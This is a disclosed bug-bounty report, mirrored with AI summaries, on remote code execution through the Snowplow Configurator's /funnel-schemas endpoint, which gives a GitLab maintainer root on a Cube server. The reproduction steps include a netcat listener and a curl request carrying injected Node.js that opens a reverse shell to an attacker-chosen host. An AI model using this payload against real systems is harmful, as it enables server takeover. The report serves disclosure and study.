Skip to content
RCE Disclosed report Advanced

RCE in /funnel-schemas on Snowplow connector allows maintainer to gain root access to Cube server

A project maintainer can send a crafted request to the Snowplow Configurator's /funnel-schemas endpoint, injecting JavaScript that executes commands on the Cube server. This gives the attacker root access to the Cube instance.

GitLab

Originally disclosed on GitLab

  • Fixed in 26 days
  • Disclosed after 26 days

⚠️ Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2715301 by joaxcar on 2024-09-13, assigned to H1 Triage:

Report | Attachments | How To Reproduce

Report

Summary

When an owner or maintainer of a project configures Product Analytics in a project (docs) the Snowplow Configurator URL will be available to all maintainers on that project. (This is by design, see report #2708083)

There is a command injection in the relation between Snowplow Configurator (this Gitlab-owned project link) and Cube. By sending a specially crafted payload to /funnel-schemas, a malicious user can gain root access to the Cube instance.

Even if a maintainer in GitLab is trusted to access the configurator URL this should not grant that user root access to the underlying infrastructure

Steps to reproduce

Configure Project Analytics
(this config uses my analytic servers on Digitalocean on this IP 159.223.181.253)

  1. As the victim create a new group with Ultimate license
  2. Create a new project in the group
  3. Go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/settings/analytics and fill out the form with (Where <IP> is the IP to your droplet)
  • Snowplow configurator connection string: http://test:[email protected]:4567
  • Collector host: http://159.223.181.253:9091
  • Cube API URL: http://159.223.181.253:4000
  • Cube API key: thisisnotarealkey43ff15165ce01e4ff47d75092e3b25b2c0b20dc27f6cd5a8aed7b7bd855df88c9e0748d7afd37adda6d981c16177b086acf496bbdc62dbb
  1. Save the config

  2. Go to http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/ and click on Set up, on the next page click Connect your own provider

  3. When the connection is successful copy the HTML from the Using HTML script portion

  4. Go to http://joaxcar.com/utils/build.php and paste the HTML in the code box, click submit this will render the html and send a metric to the server

  5. After a few seconds, it should now be all setup and visiting http://gitlab.example.com/GROUPNAME/PROJECTNAME/-/analytics/dashboards/ should show a list of dashboards

  6. Now go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/project_members and invite a new maintainer to the project

The attack
10. Start a listener on a public accessible server using

Bash
echo "id;ls;env" | nc -l -p 12345  
  1. Log in as the new maintainer on gitlab
  2. Go to https://gitlab.com/GROUPNAME/PROJECTNAME/-/settings/analytics
  3. Copy the value from the Snowplow configurator field
  4. Use the value from 13 (the test:test in the string is username/password) and the PROJECTID with your project ID in this command from a terminal. If you want to run the command multiple times just change test1 to test2 in both places it occurs.

Make sure to also change the TARGET to the IP of your listener. Dont use http or similar, just the IP

Bash
curl -u "test:test" http://159.223.181.253:4567/funnel-schemas -H 'Content-Type: application/json' -d '{  
  "project_ids": ["gitlab_project_PROJECTID"],  
  "funnels": [  
    {"state":"created",  
      "name": "test1",  
      "schema": "{\"name\":\"test1\",\"schema\":\"${(function(){var net = require(`net`), cp = require(`child_process`),sh = cp.spawn(`/bin/sh`, []); var client = new net.Socket(); client.connect(12345, `TARGET`, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })()}gitlab_project_1.snowplow_events\"}"  
    }  
  ]  
}
'  
  1. On the listener you should now get the output from running the commands id, ls, and env (the connection will drop but a more robust attack would just download a script and execute it outside the context of Node and would persist. But this shows that we are root on the system

Impact

A malicious maintainer can get RCE with root access to Cube systems

What is the current bug behavior?

There is no sanitization of the schemas stored in Clickhouse by the configurator, which is subsequently used by Cube, allowing for JS command injection.

What is the expected correct behavior?

It should not be possible to gain root access to a Cube instance just by knowing the configurator URL/creds. As this is a secret shared by maintainers. You could also argue that it should not even be possible even if the secret was not shared as the user who gets access to the configurator might not be the same person who is maintaining the Analytics infrastructure. In a normal corporate setting the Ops person setting these things up will probably not be the same person who configures a project in Gitlab

Relevant logs and/or screenshots

Output of checks

This bug happens on GitLab.com

Impact

RCE with root access to Cube system

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Snowplow Configurator does not sanitise the schema data stored in Clickhouse, which is later used by Cube, allowing JavaScript injection.

Impact

A malicious maintainer can achieve remote code execution with root access to the Cube system.

What the attacker needed

Victim configures Product Analytics; attacker is a project maintainer; attacker knows configurator URL

The fix

The report says schema data should be sanitised and configurator access should not grant root to Cube.

How it was found

  1. As the victim, create a group with Ultimate license and a new project.
  2. Configure Product Analytics with the Snowplow configurator URL, collector host, Cube API URL and key.
  3. Set up dashboards by connecting your own provider and rendering the HTML script.
  4. Invite a new maintainer to the project.
  5. As the new maintainer, copy the Snowplow configurator URL from project settings.
  6. Send a crafted JSON request to the /funnel-schemas endpoint with a malicious schema that executes commands.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A project maintainer is someone who can change settings for a project. The Snowplow Configurator is a service that helps set up analytics. The report shows that a maintainer can send a special request to that service that makes it run commands on the server, giving full control (root access).

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.